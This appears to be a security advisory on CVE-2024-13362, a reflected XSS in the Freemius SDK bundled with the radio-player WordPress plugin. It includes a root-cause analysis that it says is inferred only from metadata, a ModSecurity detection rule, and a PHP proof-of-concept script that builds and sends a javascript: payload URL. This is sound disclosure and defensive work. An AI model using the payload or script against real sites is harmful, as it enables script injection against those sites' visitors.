Atomic Edge analysis of CVE-2024-13362 (metadata-based):
This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) present in the Freemius SDK (version <= 2.10.1) and specifically affects the radio-player plugin (version <= 2.0.82). An unauthenticated attacker can inject arbitrary JavaScript through the 'url' parameter. The CVSS score is 6.1 (Medium) with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
Root Cause: The CWE-79 classification and description indicate improper neutralization of input during web page generation. The vulnerability likely stems from the Freemius SDK's handling of the 'url' parameter, which is used to generate links or redirects. Insufficient input sanitization and output escaping allow an attacker to inject malicious JavaScript code that executes in the browser's DOM context. This conclusion is inferred from the CWE and description; no code diff confirms the exact flawed function.
Exploitation: An attacker crafts a URL containing a malicious payload in the 'url' parameter. For example, a link to the vulnerable endpoint might look like: https://target-site/wp-content/plugins/radio-player/freemius/start.php?url=javascript:alert(1). When a victim clicks the link, the injected script executes in their browser session. The attack requires user interaction (clicking) but no prior authentication.
Remediation: The fix requires proper input sanitization and output escaping of the 'url' parameter. Developers should use WordPress built-in functions like esc_url() or wp_kses() to validate and escape the parameter before rendering it in the DOM. A strict allowlist of permitted URL schemes (e.g., http, https) and character restrictions would prevent script injection.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser. This can lead to session hijacking, data theft, defacement, or phishing attacks. Since the vulnerability is reflected, the attacker must trick users into clicking a malicious link.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Blocks reflected XSS via the url parameter in the Freemius SDK (radio-player plugin)
# Target: /wp-content/plugins/radio-player/freemius/start.php with malicious url parameter
SecRule REQUEST_URI "@rx /wp-content/plugins/radio-player/freemius/start.php$"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 XSS via url parameter in Freemius',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:url "@rx (?:javascript:|<script|onw+=|&#|%3C|%3E)"
"t:lowercase,t:urlDecodeUni"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
/*
* Assumptions:
* - The vulnerable endpoint is /wp-content/plugins/radio-player/freemius/start.php
* - The 'url' parameter is not sanitized and is reflected into JavaScript context
* - All URLs must be accessible; if the site uses a custom prefix, adjust $target_url
*/
$target_url = 'http://target-site.com/wp-content/plugins/radio-player/freemius/start.php';
// Construct the malicious payload (URL-encoded XSS)
$payload = 'javascript:alert("Atomic Edge PoC - XSS")';
$malicious_url = $target_url . '?url=' . urlencode($payload);
echo "[+] Exploit URL:n";
echo $malicious_url . "nn";
echo "[+] Sending request to test delivery...n";
// Use cURL to send a request and check the response (simulates user clicking)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Status: " . $http_code . "n";
// Check if the payload appears in the response (partial validation)
if (strpos($response, 'javascript:alert("Atomic Edge PoC - XSS")') !== false) {
echo "[+] PAYLOAD FOUND in response! Vulnerability is present.n";
} else {
echo "[-] Payload not detected in response. This may not be the correct endpoint or the parameter name differs.n";
echo "[-] Saving raw response to debug.txt for manual inspection.n";
file_put_contents('debug.txt', $response);
}
echo "n[+] Done.n";
